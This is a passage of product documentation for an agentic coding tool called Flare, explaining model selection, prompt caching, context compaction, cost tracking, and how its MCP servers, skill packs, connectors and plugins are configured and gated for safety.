**Configuration** — The rows mirror the engine's own defaults: **Model → Default model**, **Safety → Default autonomy mode**, **Safety → Sandbox tier**, **Toolchain → Verify command**, and the compaction, output-token and step bounds from the catalog.

### Choosing a model

**What it does** — Decides which model serves a run. The offered set is a closed allow-list per provider — for Anthropic: **Sonnet 5.5 · balanced**, **Opus 5.5 · deep**, and **Fable 5.1 · next-gen**. Without a more specific choice, every run uses the server-configured model (Opus 5.5 unless **Model → Default model** says otherwise).

**Where to find it** — Three places, most specific first:

1. **Per run, over the API** — an HTTP or SDK client can pass `model` when it starts or continues a session run; the MCP tools run on the default.
2. **Per card stage** — a board card refines and plans on the hidden `fleet.planModel` (Opus 5.5 by default) and implements on the hidden `fleet.implementModel` (Sonnet 5.5 by default).
3. **Default** — **Model → Default model** in Settings. The top bar's Run settings popover shows the one in force.

**How it works** — A requested id is re-validated server-side against the same allow-list before it can reach a provider, so a client can never point Flare at an arbitrary model string or a second credential path. The per-run provider is built from the exact same credential as the base model. Each `usage` event records the concrete model that served the step, so mixed-model sessions stay attributable.

### The summarize model

**What it does** — The context-compaction call runs on a designated summarize model, **Sonnet 5.5** — the cheapest offered model, whose 1M window holds the whole 500K compaction budget it may be asked to summarize. The same cheap model also runs Flare's side calls (the card drafter, the plan critic, card learnings, the quarantined-read summary and, when **Model → Model-written session names** is on, session names); an agent's own turns stay on the run's model (and a card's stage model).

**How it works** — If building the cheap-tier summarizer fails, compaction stays on the main model — a cost optimization never kills a run. A summary that still fails falls back to truncation, and the `context.compacted` event records why.

**Configuration** — Automatic; derived from the active provider. The main model is **Model → Default model**.

### Fallback model chain

**What it does** — Keeps a session running when the primary model is rate-limited, overloaded, or timing out: on a retryable failure (HTTP 429, 408, or any 5xx except 501 and 505, a dropped or timed-out connection, or a stream that sends nothing for 120 seconds) that happens _before any output streamed_, the run transparently hops to the next model in your configured chain and retries the same request. Before any hop, a request is retried on the same model up to four attempts in all, backing off from 1 to 30 seconds and honouring `Retry-After`; a server that asks for a longer wait is not retried, so the chain moves on. It never hops on a deliberate stop, on a non-retryable error (400/401/403 fail on every model), or mid-stream after partial output; exhausting the chain surfaces the last error normally. A model the chain hopped away from is tried last for the next 60 seconds, or for the `retry-after` it named, up to 5 minutes; if everything ahead of it fails it is still tried. On a hosted server each person's cooldowns are their own.

**Where to find it** — There is no dedicated UI; a hop is visible in the session's usage/provenance views, where the next `usage` event carries the fallback model's id, and in a server stderr line naming both models.

**Configuration** — **Model → Fallback chain** — a comma-separated, ordered list of model ids (e.g. `claude-fable-5-1,claude-sonnet-5-5`). Each id must be on the provider's offered-model allow-list; unknown or wrong-provider ids are skipped with a log line. Unset, the default path is byte-identical: no wrapper at all. Fallback providers reuse the same credential as the primary.

### Prompt caching

**What it does** — Reduces cost and latency on Anthropic models by marking every request's re-sent content as cacheable — both the stable tools + system prefix and the conversation transcript — so it is re-read at a small fraction of the input-token price (0.1× or less, depending on the model) instead of paying full freight. Cache reads and writes are tracked per step and show up in the usage line as "cached" tokens.

**How it works** — The Anthropic adapter stamps `cache_control` markers on the stable prefix (last non-deferred tool + last system block) and on the last block of the conversation. The conversation marker is what matters at scale: an agentic turn re-sends the whole transcript on every step, so without it a long turn re-bills the growing history as fresh input on each step — a measured 19-step turn spent 1.38M fresh input tokens against only 145k cache reads. Because Anthropic caches everything up to and including a marked block, one marker on the final block covers the transcript; the next step reads it at the cache rate and writes only its own delta. Three markers total leaves headroom under Anthropic's four-breakpoint limit. Cache read/write token counts stream back on each response and land in the session's `usage` events, so cost estimates price them at the discounted rates.

Each cached prefix lives for an hour by default, so a long thinking step does not outlast it and force the next request to re-write the prefix; every breakpoint shares that lifetime. One-hour writes bill at 2× the input price and five-minute writes at 1.25×; the usage event records the one-hour share, and cost estimates and money caps price it at the higher rate.

**The live plan** — When a run's plan (`update_plan`) changes, Flare appends it to the conversation as a short system message ("Your current plan …", at most 40 steps), and compaction keeps only the latest one. On Anthropic's own API that message stays where it was appended, so everything cached before it still matches and a plan update costs only its own tokens. With a custom API base URL it is merged into the system prompt instead (the latest one only), which changes the prompt's head.

**Cache misses** — On Anthropic's own API each request names the response it follows, so the API can say why a step missed the cache; the trace shows that as a **cache miss** chip ([Trace inspector](#trace-inspector)). A custom API base URL sends no such field.

**Configuration** — On by default. The hidden `model.promptCache` set to `false`/`off` disables it — useful behind a proxy (the hidden `model.baseUrl`) that rejects `cache_control`. The hidden `model.promptCacheTtl` (`1h` or `5m`) sets the lifetime.

### Extended thinking — effort & reasoning stream

**What it does** — Lets the model reason before answering, with the reasoning streamed into its own collapsible pane so it never mixes into the answer. A run's `effort` takes `standard`, `high`, `xhigh`, or `max` (or `off`, below); leaving it out sends no effort field at all — a byte-identical request. On the Claude 5 family each level maps to an `output_config.effort` level. Note that leaving it out is not the bottom of the ladder — a model that thinks by default still does, at its own default effort: `high` on Sonnet 5.5 and Fable 5.1, where `standard` is genuinely less, and `medium` on Opus 5.5, where `standard` asks for the same level and adds only the reasoning stream. When a run used thinking, a **Thinking** block appears below the transcript, labeled "the model's reasoning, not its answer", with one numbered step per model turn — collapsed by default.

**Where to find it** — The effort is the `effort` field of a run request, set by an HTTP or SDK client when it starts or continues a session. Board cards set one per stage — the hidden `fleet.refineEffort` and `fleet.planEffort` (both `xhigh`) and `fleet.implementEffort` (`high`). The **Thinking** accordion renders on the Workbench between the assistant reply and the trace once reasoning exists — expand it to read each step's reasoning; it stays attached to the session for later review.

**How it works** — Reasoning arrives as its own event stream (`reasoning.delta`) separate from assistant output, and the pane is a pure projection grouping those events per step. The effort is recorded in the run's launch spec, so a resumed run keeps it.

Every offered model streams into that pane. An effort level alone leaves `display` at its default of `omitted` — the effort takes hold while the pane stays empty — so Flare also asks for `display: "summarized"`. Enabling thinking brings Anthropic's rule that a preserved thinking block must precede the `tool_use` it accompanies. Within a run Flare sends each turn's signed thinking blocks back as they came; history rebuilt from the event log (a resumed run) carries none, and the live API accepts that shape on every offered id.

On the Anthropic side every offered model takes the same request surface: `output_config.effort`, with Flare's levels mapped onto Anthropic's `medium`/`high`/`xhigh`/`max`, plus adaptive thinking with `display: "summarized"`.

Every offered model adds one thing. Its thinking blocks are bound to the conversation that produced them: a block replayed after the system prompt, the tool list or an earlier message changed is rejected with a 400 on accounts created on or after 2026-08-31. A run changes its tool list whenever tool search promotes a tool, so the request also asks the API to **drop** a mismatched block rather than reject the request (`thinking.block_binding.prefix_mismatch_behavior: "drop_block"`, under the `thinking-binding-controls-2026-08-01` beta). The turn carries on without that block's reasoning instead of failing; against the live API, the tools-changed replay is rejected under enforcement and accepted with `drop_block`. Which models bind is a field on each entry of the model table (`packages/core/src/models.ts`), so a new model states it rather than inheriting a guess.

A model id outside that set — an older model that a **Model → Default model** setting still names, say — gets no thinking payload: guessing one returns a 400 that kills the run on its first turn, so it degrades to a normal request — and says so in a boot warning, because an effort you set, paid for and saw recorded, with a byte-identical request behind it, would be a silent success. A test asserts every offered Anthropic model is on the thinking surface, so adding a model without deciding how it thinks fails CI instead of going quietly inert.

Setting the effort to `off` does not force thinking off on the Claude 5 family — it sends no thinking field at all, and the API's default there is adaptive. That is deliberate: Opus 5.5 and Fable 5.1 reject explicitly disabled thinking outright, on the models that accept it Anthropic documents two failure modes (a tool call written into visible text and never executed, and leaked `<thinking>` tags), and a lower effort is the supported way to spend less.

### Context meter & compaction

**What it does** — Shows how full the model's context window is — "context 45.2K / 500K" — as a progress bar on the Workbench that turns amber past 75% and red at the budget, where auto-compaction kicks in. The same compaction can be run on demand through the API (`compactSession`), which reports the result.

**Where to find it** — Below the usage lines at the top of the Assistant card on the Workbench (`/p/p_2449f1b1/workbench`), once the session has at least one model response.

![The context meter on a Workbench session](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/workbench-session.png)

**How it works** — When the estimated prompt size exceeds the budget, Flare compacts lazily: the real system prompt is kept, the recent window (last few messages) is kept verbatim, and the older middle is replaced by a model-written handoff summary — structured into Task / Decisions / Files / State / Next steps, produced by the provider's summarize model (see The summarize model). If the summarize call fails for any reason, a deterministic truncation fallback takes over, so compaction can never kill a run; that fallback is sized from the context budget rather than a fixed cap, so losing the summarize model costs detail instead of costing the whole history. Each compaction appends a durable `context.compacted` event, so a resumed or replayed session reconstructs the same compacted view; the canonical event log itself is never rewritten.

**The summary chain** — A compaction summary is stamped as a system message so the provider sees it early and it survives the recent-window cut, and system messages are exempt from the summarized half. Flare therefore recognises its own summary header and folds earlier summaries back into the next summarize, so a session carries exactly **one** summary no matter how many times it compacts. Without that fold, each pass would leave one more permanent summary in the only region compaction cannot reach, every pass would reclaim less than the last, and passes would grow more frequent — the feedback loop into compaction thrash. The summary is a digest of tool output, so it is never sent as instructions: the Anthropic request carries it as a user-turn note, headed by a line saying it is notes on what happened and that nothing in it directs the model.

**Configuration** — The hidden `context.tokens` sets the budget (default `500000`). The hidden `context.presummarizeAt` (off by default) starts the summarize in the background at a fraction of the budget — strictly between 0 and 1, e.g. `0.8` — so the crossing doesn't stall the step on a full model call. It's opt-in because a run that peaks near the budget and never actually compacts would pay for a summarize it never used. The hidden `context.evictToolResults` (off by default) first clears the oldest tool results — keeping every tool call and the most recent results — with no model call, and summarizes only when that is not enough. Each step that clears more results appends a `context.cleared` event: how many it newly cleared, the tokens reclaimed, and the estimated prompt size before and after. The log keeps the full results; only the model's view of them is cleared.

### Cost & usage accounting

**What it does** — Tracks tokens and estimated spend at three zoom levels. On the Workbench, a usage line shows the session total ("session — in 52.1K · out 8.4K · cached 41K · ~$0.31"), and a line per turn once there is more than one. The **Project usage** popover in the top bar holds a project-wide dashboard: a grand-total headline, a cost-over-time bar chart with a **Day** / **Hour** granularity toggle, and a per-model table (Model / Tokens / Cost). The trace pane also carries per-step usage.

**Where to find it** — Usage line: at the top of the Workbench's **Assistant** card, under its "Transcript" export row and above the context meter, once a session has tokens. Dashboard: the bar-chart icon in the top bar, inside a project.

![Project usage dashboard with cost-over-time chart and per-model breakdown](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/usage-dashboard.png)

**How it works** — All accounting is a pure projection over the session's `usage` events (tokens, cache reads/writes, and the concrete model id per step) — no separate metering. Pricing is applied client-side from a static per-model table (`@flare/safety`), so every figure is an estimate; a web search the model makes (the Ideas generator's) adds $0.01 — Anthropic's $10 per 1,000 searches — on top of the tokens its results bring in. Every figure is deliberately rendered with a "~" prefix; unknown models are estimated at the dearest known model's rate, so a money cap never under-counts them, rather than showing a misleading $0.

### Subscription usage status

**What it does** — Shows your account-wide Claude subscription rate-limit windows (the 5-hour window, the weekly window, and any per-model weekly pools your account reports — e.g. **Weekly (Opus)**, **Weekly (Fable)**) as labeled progress bars with percent used and a reset time — a countdown while under 24h out ("resets in 2h 14m"), or an absolute weekday+time further out ("resets Sunday at 04:00"). On an API key it explains that per-minute limits apply instead.

**Where to find it** — The usage chip at the right of the top bar (a percentage once usage is captured; a status icon before that). Click it to open the **Model usage** popover; see [Status popover](#status-popover-5-hour--weekly-usage) for the details.

**How it works** — The windows are parsed from the rate-limit headers Anthropic returns on real model calls made with an OAuth login, captured in memory server-side — opening the popover reads the tracker. Only the boot probe and **refresh** spend one minimal call.

### Long command output kept in a file

**What it does** — A stream from `run_command` (stdout or stderr) or `read_process` that runs past 16,000 characters does not go to the model whole. The model gets its first 3,000 and last 9,000 characters, plus the path of a file that holds all of it, and reads the part it needs with `read_file`. So a long test or build log does not sit in the context in full and get sent again on every later step.

**How it works** — The file goes in `.flare/output/` in the workspace, which carries its own `.gitignore`, so it never appears in a card's review diff or lands with the card. The newest 30 files are kept. If the file cannot be written, the model gets the whole stream, with a note saying why. Output from MCP servers and connectors is not spilled: a file read back with `read_file` would no longer be tagged untrusted or pass through quarantine, so those results keep their existing caps.

### Strict tool arguments

**What it does** — `read_file` and `apply_edits` are sent to the model as _strict_: the API holds the model's arguments to the tool's schema, so a call cannot arrive with a number written as a string or an edit list sent as text. Those two tools' slips were every argument error in the recorded sessions, and each one cost a turn. Every other tool is sent loose.

**How it works** — A strict schema may not use length or range bounds, so Flare leaves them out of what it sends (an `offset` that must be positive). The tool still checks them when it runs. The API compiles the strict schemas into one grammar that also covers every other tool in the request, including deferred MCP tools and skills, and refuses a grammar it finds too large even within its published limits. Measured, ten strict built-ins next to any other tool were refused, so a test keeps the strict set to at most four tools, using only the schema keywords strict mode accepts. If the API still refuses the grammar, Flare sends the same request again with no tool strict, and sends that set of tools loose from then on, so a card never fails because of strict mode and no later step waits on the refusal. The first request with a new set of tools waits a few seconds while the API compiles the schemas. The API keeps the compiled form for a day, so later requests with the same tools take no longer than loose ones.

### Output caps & step budgets

**What it does** — Bounds what a single response and a single run can consume. The per-response output cap defaults to 64,000 tokens (a ceiling, not consumption — only generated tokens bill); the per-run step cap defaults to 10,000 steps and ends the run with a `budget-exceeded` outcome when hit; an optional per-run tool-call cap does the same for tool use.

**Where to find it** — Current values appear in the run-settings popover's **Limits** group (Context budget / Max output / Max steps / Max tool calls).

**How it works** — The output cap is passed to the provider as the response's `max_tokens`; with adaptive thinking it bounds the reasoning and the visible answer together. Step and tool-call caps are enforced by the engine loop and recorded in the event log like any other run outcome.

**Configuration** — All hidden, set in `~/.flare/settings.json`: `model.maxOutputTokens` (default `64000`), `budget.maxSteps` (default `10000`), `budget.maxToolCalls` (unset = unlimited). The output cap applies to whichever model serves the run and bounds thinking and the visible answer together; the setting is capped at 64,000, the smallest ceiling in the catalog.


## MCP, Skills, Plugins, Connectors & ACP

Flare's tool surface is extensible in both directions: it can _host_ external capability — MCP servers, skill packs, connectors, even entire third-party coding agents over ACP — and it can _be hosted_, exposing itself as an MCP server, a typed SDK client, and a headless CLI. Every external tool rides the same seams (`extraToolSources`, the plugin host) and therefore inherits the full safety pipeline: the deny > ask > allow permission engine, secret masking, budget caps, and untrusted-content tagging. Three exceptions run a process outside it: an ACP agent runs its own tools on the host (Flare refuses it filesystem and terminal capabilities and rejects its permission requests by default), and so do a language server and a local (stdio) MCP server, which is why all three are off on the confining tiers. They are also off on a hosted server and for a project whose cards run in a sandbox, and a hosted server does not run an MCP server's OAuth sign-in ([Hosted](#hosted-flare)). Command hooks run on the host too, with a card's worktree as their working folder: a hook that runs the project's own scripts (`pnpm lint`) runs code the agent could have written, so keep hooks that execute workspace code to the `local` tier. Nothing in this area adds a new capture path — interactive UIs, artifacts, and app panes are all projections over the same event log.

### MCP host — external tool servers

**What it does** — Connects Flare to Model Context Protocol servers and exposes their tools to the agent. Both transports are supported: **stdio** (a local command Flare spawns) and **remote Streamable HTTP** (a URL, optionally with static headers or a full OAuth flow). A stdio server starts only on the `local` sandbox tier, and one from the project's own `flare.mcp.json` starts in the project folder (so relative arguments mean project files): on a confining tier it would run code from the project, which the agent can edit, on the host outside the sandbox, so it is skipped with a warning, as a language server is. HTTP servers work on every tier. Each server's tools are namespaced `<server>__<tool>` so two servers can't collide, and servers that advertise the resources/prompts capabilities also contribute `<server>__list_resources`, `<server>__read_resource`, `<server>__list_prompts`, and `<server>__get_prompt` tools. `listChanged` notifications reload a server's tool list live. Definitions that match the ones you accepted stay loaded; changed ones are withheld until you click **Accept changes**, and the next run then sees them without a restart.

**Where to find it** — Project Settings → **MCP servers** (`/p/p_2449f1b1/settings#mcp-servers`). Each configured server shows a status dot (connected / needs authorization / tool definitions changed / error / disconnected), its transport and tool count, and its actions: **Authorize** (for OAuth servers awaiting sign-in), **Accept changes** (after a tool-definition change, two clicks), **Reconnect** (re-list a connected server or retry a failed one), and **Remove** (two clicks). With none configured the panel reads "No MCP servers — Add a server with the button above — it writes flare.mcp.json for you."

![The MCP servers section in Project Settings, empty, with its Add server button](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/settings-mcp-servers.png)

**How to use it** —

1. Create `flare.mcp.json` in the project root using the standard `mcpServers` shape (Claude Desktop / Cursor configs work unchanged): `{"mcpServers": {"fs": {"command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "."]}}}` for stdio, or `{"url": "https://…"}` for remote.
2. Servers in a file you wrote or edited outside Flare do not start until you accept it: Settings → MCP servers shows the file and every command it would run — click **Accept this file**, then **Confirm: start these servers** ([Config review](#mcp-servers)). **Add server** writes the file for you and needs no review. Connected servers' tools become available to the agent (behind `tool_search`; see below).
3. For an OAuth-protected remote server, click **Authorize** in the MCP servers panel; a "Open authorization page" link appears — sign in in the new tab and the panel's poll picks up the connected state after the loopback redirect completes.

**How it works** — The MCP host is a `ToolSource` dropped into the engine's tool pipeline, so MCP tools pass through permissions, approvals, and budget like native tools, and every MCP result is tagged untrusted — wrapped in `<untrusted>` markers and scanned for prompt injection before the model sees it. MCP tools are not built-ins, so the permission engine denies them outright in `read-only` (the default mode, and how cards refine and plan) and runs them in `auto`; a remote server's tools count as network calls. A tool result's text is capped at 100,000 characters, with a note telling the model it holds only a prefix. A call fails after 5 minutes with no progress from the server, and after 30 minutes in all. One misbehaving server is skipped and reported; it never sinks the rest. On an untrusted (not-yet-trusted) workspace, the project's own `flare.mcp.json` is not read at all, since stdio servers spawn local processes. A project starts each server once and its cards share that connection; a server that keeps per-caller state can run one copy per card with `"perCard": true` ([Shared with cards](#mcp-servers)).

Flare offers every server the 2026-07-28 revision (stateless, one request at a time) and falls back to the 2025 handshake with a server that predates it; the panel shows the revision each server speaks. A stdio server that ignores the offer costs at most 5 seconds once per connect. Tools are listed to the model by name, so reconnecting a server never reorders the toolset and busts the prompt cache.

**Input requests** — A server may ask for input in the middle of a call (a 2026-07-28 `input_required` answer, or a 2025 `elicitation/create`). In a session where the agent may ask you questions, Flare asks through the session's own question dialog, recorded like any `ask_user` question: first whether to send answers to that server at all (it is named), then one question per field it asked for. A request to visit a URL shows the address for you to open yourself. A request that arrives outside any call, or that the server withdraws, asks no one: the first is declined, the second takes its question back. Where no one can answer — a card's run — the request is declined at once rather than holding the run. Sampling and roots are never offered. A run started with a caller's trace context (see [Flare as an MCP server](#flare-as-an-mcp-server)) passes it to the MCP servers it calls.

**Configuration** — `flare.mcp.json` in the workspace root (override the path with the hidden `mcp.configPath`); the hidden `mcp.connectTimeoutMs` bounds each server's handshake (default 10 s). Remote servers accept a `headers` object whose values may reference env vars as `${VAR}` (tokens stay out of the file; an unset or empty var fails loudly), or an `oauth` block (`scopes`, `clientId`, `clientSecret`, `redirectPort`) — but not both. A stdio server's `env` and an OAuth `clientSecret` take the same `${VAR}` references, and a reference to a credential Flare withholds from MCP servers (its own model key, say) is refused. A stdio server starts with only a minimal environment (PATH, the home and temp folders and a few like them) plus its own `env`; nothing else from Flare's environment reaches it. A server's name may hold only letters, digits, `-` and `_`, and may not be `skill` or begin with `skill__` (its tools would pose as skills). Set `"perCard": true` on a server to give each card its own copy.

### Deferred tools & `tool_search`

**What it does** — Keeps large toolsets from flooding the prompt. Tools marked deferred (all MCP tools and all skills) are hidden behind a single always-on `tool_search` meta-tool; the model searches by keyword (or pulls exact names with a `select:name1,name2` query), matching tools are activated for the rest of the run, and their full specs surface on the next step.

**How it works** — A lexical ranker scores query tokens against tool names and descriptions (top 5 by default) and adds matches to a per-run activation set. Only a tool in that set may run. When nothing is deferred, the meta-tool isn't injected and behavior is unchanged.

**Keeping the prompt cache** — With Anthropic's own API, every deferred tool is sent on every step marked `defer_loading`, which keeps it out of the prompt until it is needed. The search's result names the tools it found as tool references, and the API loads their definitions into the conversation at that point. The tool list at the head of the prompt never changes, so a search does not make the next step write the whole conversation to the cache again (the trace's **cache miss** chip would show **tool list changed** if it did). A result whose tools are no longer offered, because a server went away or a rule now hides the tool, is sent as plain text instead, since the API refuses a reference to a tool the request does not carry. With a custom API base URL (the hidden `model.baseUrl`), found tools are added to the tool list itself, which changes the prompt's head.

### Skills — reusable expertise packs

**What it does** — Turns a `SKILL.md` pack into a deferred, trusted tool named `skill__<name>`. Flare scans every harness folder a project is likely to carry — `.claude`, `.agents`, `.cursor`, `.windsurf`, `.opencode`, `.github`, `.flare` — in both the nested (`<root>/skills/<dir>`) and flat (`<root>/<dir>`) layouts, so packs written for another agent work unchanged. It reads packs written to the [Agent Skills specification](https://agentskills.io/specification): `license`, `compatibility` and `metadata` are accepted, and `allowed-tools` may be the spec's space-separated string or a list. A `name` may be at most 64 characters, the spec's limit; a longer one is reported and skipped, because the tool name it would make could fail every request that offers it. The frontmatter (`name:` and `description:`) is what the model sees when searching; the markdown body — the actual playbook, plus pointers to any bundled files in the skill's directory — loads only when the model invokes the skill.

**Where to find it** — Project Settings → **Skills** (`/p/p_2449f1b1/settings#skills`). Everything discovered is listed, grouped by folder and sorted by name, with a per-group `N / M enabled` count; each row is a checkbox. Only what you enable is armed — a skill body is trusted instruction injection into every future run, so "discovered" must never imply "loaded". Packs in a _foreign_ folder default off; `.flare/skills/*` (Flare's own) stays on. A pack installed for several agents is one row: `npx skills` keeps one copy in `.agents/skills` and links it into `.claude/skills`, so the row sits under the real folder and reads "Also installed at .claude/skills/<name>/". The same goes for a same-named copy whose `SKILL.md` is identical (a link that git checked out as plain files). Copies that differ stay separate rows, because they are different packs. A pack enabled under the folder that now folds into it stays enabled.

**Updating skills** — **Update skills**, at the top of the pane, brings a project's skills to their latest versions and opens a pull request with the change. It runs `npx skills update` for the project's skills in a fresh worktree of its own, so your checkout is never touched, with the same credential-free environment an agent's command gets. The command runs on your machine with nothing confining it, so Flare pins it: one reviewed version of the `skills` CLI, and only dependency versions published before a fixed date. If nothing changed, the pane says every skill is already current and opens nothing. If something changed, the update lands the way a [scheduled job](#scheduled-jobs--maintenance-that-runs-on-its-own) does: the project's verify command runs on it (a failure, or a verify that cannot run, makes the pull request a draft), the secret scan reads it (any finding opens nothing), then the branch is pushed and the pull request opened. Its description lists the skills that changed and what the command printed, including any security-audit flags. A browser notification says when the pull request is ready, when every skill was already current, or why the update failed, and the pane links the pull request. One update runs at a time, and a new one waits until the last one's pull request is merged or closed. The button is disabled, with the reason, when the project is untrusted, runs its commands in a sandbox (or on a hosted server), when **Settings → Safety → Sandbox tier** is anything but an explicit **On this machine** (the rule a card follows: nothing runs unconfined unless someone chose that), when the project has no `skills-lock.json` (its skills were not installed with `npx skills`), or has no GitHub origin.

![The Skills pane: packs grouped by folder with enable counts, each showing the tools it limits a session to](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/settings-skills.png)

**How to use it** —

1. Create `.flare/skills/deploy/SKILL.md` — or drop a pack into any scanned folder — with a `---`-delimited frontmatter block containing `name: deploy` and a one-line `description:`, followed by the instructions as the body.
2. Open Settings → Skills and tick it. No restart: the pane rescans as it polls, and the next run sees the change. (The boot log reports `skills: N enabled` for what is armed at startup.)
3. The agent discovers it via `tool_search` and pulls the body on demand.

**How it works** — Discovery reads only the head of each file — enough for the frontmatter, bounded so an oversized pack can't make the polled scan expensive — while the body (up to its first 64 KB) is re-read lazily inside the tool call, so editing a skill takes effect on its next use. Both the `allowed-tools` read at discovery and the one on disk at call time bind, so an edit can tighten a skill but never widen it. A pack's id is its path, so two roots may ship the same skill name; the first _enabled_ claimant of `skill__<name>` wins and a later one is reported as conflicting rather than silently renamed. A malformed skill is skipped with a logged error, never breaking the rest. An untrusted workspace still lists what a cloned repo ships but arms nothing and refuses every change — enables _and_ disables, so a grandfathered `.flare/skills/*` row shows its stored intent with both directions inert — because those packs are exactly the unreviewed embedded instructions the trust gate holds back. Writing to the skills surface sits on the protected-path floor: the write and command paths that would plant a self-arming pack are raised from `allow` to `ask`, so they cost a human confirmation rather than being silently permitted — a floor, not an absolute block. A skill is not a built-in tool, so the permission engine denies it in `read-only` (the default mode, and how cards refine and plan) and runs it in `auto`. Skill names must match `[a-z0-9_-]+`. Clicking a row opens its `SKILL.md` in a modal — a read-only, secret-masked view of the exact text a skill call would inject, useful as a pre-trust review of a cloned repo's packs even before deciding to enable anything. The app has no in-place editor for that content: `SKILL.md` is edited on disk, in an external editor, so the change lands on the workspace's own git history the same way the rest of the repo does.

**`allowed-tools` — a pack that declares what it needs gets only that** — The Agent Skills specification's `allowed-tools` field turns a pack from trusted prose into a permission statement, and Flare enforces it: from the moment a skill is invoked until that run ends, the session may call only the tools the pack declared. Two skills in one run intersect — a run may use only what both allow — and a subagent it delegates to inherits the same bound, so `Task` is not a way around it. `tool_search`, `ask_user`, the plan tools and other `skill__*` packs are always reachable, because a narrowing that removed them would be a trap rather than a bound. It can only ever tighten: the `deny > ask > allow` engine still decides every call that gets through.

Names are the ecosystem's, not Flare's, so the manifest is resolved rather than matched: `Read`, `Bash` and `Grep` map onto `read_file`, `run_command` and `search_files`, `Bash(git status:*)` grants the tool but not the argument pattern (Flare matches subjects by its own rules), and a name spelled like a Flare tool but not built in — a connector's, a plugin's — is admitted unchecked. What Flare cannot place at all is reported in the pane rather than guessed at, and a manifest it cannot read, or one whose every name is foreign, narrows **nothing**: breaking an imported pack and silently pretending to bound it are both worse than saying so. The Skills pane shows each pack's resolved manifest before you enable it.

**Configuration** — `SKILL.md` under any scanned folder; the per-pack enable state persists to `.flare/skills.json` (`{".claude/skills/deploy": {"enabled": true}}`), which the pane writes for you — a malformed one is logged and ignored rather than sinking the project.

### Connectors — built-in web tools

**What it does** — Connectors are self-describing tool bundles with typed settings ("valves"). Two ship built in: **fetch** (a `web_fetch` tool returning a URL's text) and **browser** (a `browse` tool that fetches a page and returns its readable text, HTML stripped; it does not run a real browser).

**Where to find it** — `.flare/connectors.json` in the workspace. There is deliberately no settings pane: the valves are tuning constants, and the one setting that is a real decision — `allowedHosts`, which is an egress posture — is better set once, on purpose, than nudged per project.

**How to use it** —

1. Create `.flare/connectors.json` if it does not exist; absent means every connector runs on its defaults.
2. Tune a valve under the connector's name — e.g. `maxChars`, `timeoutMs`, or `allowedHosts` on fetch and browser.
3. Enable or disable one with an `enabled` flag: `{"browser": {"enabled": false}, "fetch": {"valves": {"allowedHosts": ["docs.example.com"]}}}`. A disabled connector contributes no tools.

**How it works** — Each connector validates its valves with a Zod schema (defaults applied) and resolves into a plugin contributing its tools; a bad config entry is reported and skipped. On an untrusted workspace, `.flare/connectors.json` cannot widen egress: `allowedHosts` is ignored, with a warning, and every other valve still applies. All connector output is tagged untrusted before reaching the model. Outbound requests go through the shared SSRF-safe fetch: http(s) only, private/loopback/link-local/cloud-metadata addresses blocked by default, and the _final_ post-redirect URL re-validated so a public decoy can't 302 the fetch somewhere internal. Setting an explicit `allowedHosts` list is the operator opt-in that narrows (or, for localhost, permits) egress; redirects off the list are refused. `browse` is a page reader over that same fetch, not a browser: it loads no sub-resources and runs no script.

**Configuration** — `.flare/connectors.json`. A name in that file with no connector behind it is ignored.

### Plugins — in-process extensions

**What it does** — The `FlarePlugin` contract (`@flare/plugins`) is Flare's internal in-process seam, reachable both by embedding the engine and from a workspace's own `.flare/plugins` directory: a plugin contributes tools and/or tool middleware (functions that wrap every plugin tool call — logging, caching, transformation). The built-in connectors are themselves resolved into plugins; the `PluginHost` aggregates them into one tool source with name-collision detection.

**Internal on purpose** — The contract has no version and no compatibility promise: it changes when Flare needs it to, and a Flare release can break a plugin. It is not how a third party extends Flare. For that, use an MCP server, which runs as its own process (the sandbox tiers can confine it) and can be written in any language, or a skill pack for instructions. A plugin runs inside the server with its own privileges. A public, versioned plugin API was considered and set aside until someone embedding Flare asks for one.

**Where to find it** — Two ways in:

1. **Embedding** — pass `plugins: [...]` to `buildEngine`. Ungated: you wrote the code and already own the process.
2. **A workspace's own plugins** — drop an ES module in `.flare/plugins/`, default-exporting either a plugin object or a zero-arg factory that returns one:

```js
// .flare/plugins/greeter.mjs
export default {
  name: "greeter",
  tools: [
    {
      name: "say_hello",
      description: "says hello",
      parameters: { type: "object", properties: {} },
      execute: () => "hello",
    },
  ],
};
```

Then set `"safety.plugins": true` by hand in `~/.flare/settings.json` (it is not on the Settings page) and start Flare.

**Why the extra switch** — a workspace plugin needs **both** the workspace trust gate _and_ `safety.plugins`. That is deliberately one step stricter than lifecycle hooks or `flare.mcp.json`, which the trust gate alone unlocks. Those spawn a **subprocess**: it can be confined by a sandbox tier, and it only holds what it was handed. A plugin runs **in-process** — the same memory, privileges and credential store as the engine, outside every sandbox. So "I trust this repo enough to run its checked-in hooks" is not treated as consent to load its code into the server itself.

If files are sitting in `.flare/plugins` while a gate is shut, the server says so on boot and names the gate, so a plugin never silently does nothing. Nothing is imported while a gate is shut, so an un-armed plugin's module body never runs.

**How it works** — Plugin tools enter the same guarded pipeline as native tools, and middleware composes host-wide around plugin tool execution. Each file is loaded in isolation: one that fails to import, exports nothing usable, or collides on a name is reported and skipped without sinking the rest, and load order is name-sorted so a tool-name collision never resolves differently between machines.

A workspace plugin may not name a tool after a built-in (`read_file`, `run_command`, …) — that is refused with the reason. Extra tool sources win the merge, and the permission engine classifies by tool _name_, so a plugin taking a built-in's name would inherit that built-in's permission category while executing something else entirely. Renaming costs nothing; inheriting `read`'s always-allowed status by accident does not. (An embedder passing `plugins:` directly is not held to this — replacing a built-in in your own program is a deliberate choice.)

One thing to expect: a plugin's tool name is not one of the built-ins, so the permission engine classifies it as **other** — never a command, so a rule written for commands does not read its arguments — which means it runs in `auto` and is denied outright in `read-only`. That is the intended floor (a plugin cannot opt itself out of the permission engine). To make one ask or refuse, add a rule by hand in `.flare/permissions.json`.

**If your plugin owns a resource, export a factory** (`export default () => ({ ... })`) rather than a plain object. Node caches a module for the life of the process, so an object export is shared by every engine that loads it — and engines come and go (a project's runtime is evicted when idle and rebuilt on the next access). A shared instance would be disposed by the first engine to close and handed to the next one already dead. The factory form is called fresh each time. Flare says so on boot if it spots a resource-owning plugin using the object form.

